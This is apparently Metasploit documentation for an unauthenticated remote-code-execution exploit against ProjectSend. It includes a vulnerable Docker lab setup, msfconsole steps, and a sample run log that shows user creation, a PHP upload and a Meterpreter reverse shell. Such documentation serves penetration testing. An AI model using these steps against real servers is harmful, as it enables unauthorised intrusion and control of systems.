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documentation/modules/exploit/linux/http/projectsend_unauth_rce.md
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## Vulnerable Application | ||
ProjectSend is a web application used for sharing files with clients. | ||
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Due to POST parameters being executed before checking user permissions, | ||
it is possible to perform a series of actions that can result in unauthenticated Remote Code Execution (RCE) | ||
on vulnerable versions of ProjectSend. | ||
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This module has been tested against ProjectSend versions r1295 through r1605 on Linux. | ||
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The easiest way to obtain a vulnerable version of ProjectSend is by deploying it using Docker, as pre-made images exist for the software. | ||
The following Docker Compose file can be used to set up a vulnerable environment. | ||
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``` | ||
--- | ||
services: | ||
projectsend: | ||
image: lscr.io/linuxserver/projectsend:version-r1605 | ||
container_name: projectsend | ||
environment: | ||
- PUID=1000 | ||
- PGID=1000 | ||
- TZ=Etc/UTC | ||
- MAX_UPLOAD=5000 | ||
volumes: | ||
- ./projectsend/config:/config | ||
- ./projectsend/data:/data | ||
ports: | ||
- 80:80 | ||
restart: unless-stopped | ||
db: | ||
image: mariadb | ||
restart: unless-stopped | ||
container_name: db | ||
volumes: | ||
- ./mariadb_data:/var/lib/mysql | ||
environment: | ||
MYSQL_ROOT_PASSWORD: password | ||
MYSQL_DATABASE: projectsend | ||
MYSQL_USER: projectsend | ||
MYSQL_PASSWORD: projectsend | ||
``` | ||
After launching the containers, ProjectSend requires an initial configuration, | ||
which can be completed by accessing it via port 80 on localhost. | ||
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## Verification Steps | ||
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1. Install the application | ||
2. Start msfconsole | ||
3. Do: `use exploit/linux/http/projectsend_unauth_rce` | ||
4. Set remote hosts: `set RHOSTS <ip>` | ||
5. Set remote port: `set RPORT <port>` | ||
6. Set the path to ProjectSend: `set TARGETURI <URI>` | ||
7. Set local host: `set LHOST <local ip>` | ||
8. Do: `run` | ||
9. You should get a shell | ||
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``` | ||
msf6 exploit(linux/http/projectsend_unauth_rce) > options | ||
Module options (exploit/linux/http/projectsend_unauth_rce): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 80 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
TARGETURI / yes The TARGETURI for ProjectSend | ||
VHOST no HTTP server virtual host | ||
Payload options (php/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST 192.168.1.20 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 PHP Command | ||
``` | ||
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## Options | ||
N/A - Only default options. | ||
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## Scenarios | ||
``` | ||
msf6 exploit(linux/http/projectsend_unauth_rce) > run | ||
[*] Started reverse TCP handler on 192.168.1.20:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. | ||
[+] Client registration successfully enabled | ||
[+] User alvin.padberg created with password lrASo3iM | ||
[*] Disabling upload restrictions... | ||
[*] Logging in as alvin.padberg... | ||
[+] Logged in as alvin.padberg | ||
[+] Successfully uploaded PHP file: sX1A4FCH.php | ||
[*] Sending stage (39927 bytes) to 192.168.1.20 | ||
[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.20:56675) at 2024-09-23 19:01:29 +0200 | ||
[*] Logging in as alvin.padberg... | ||
[+] Logged in as alvin.padberg | ||
[+] Client registration successfully disabled | ||
[*] Enabling upload restrictions... | ||
meterpreter > sysinfo | ||
Computer : 1480205e55c2 | ||
OS : Linux 1480205e55c2 6.6.26-linuxkit #1 SMP Sat Apr 27 04:13:19 UTC 2024 aarch64 | ||
Meterpreter : php/linux | ||
``` |
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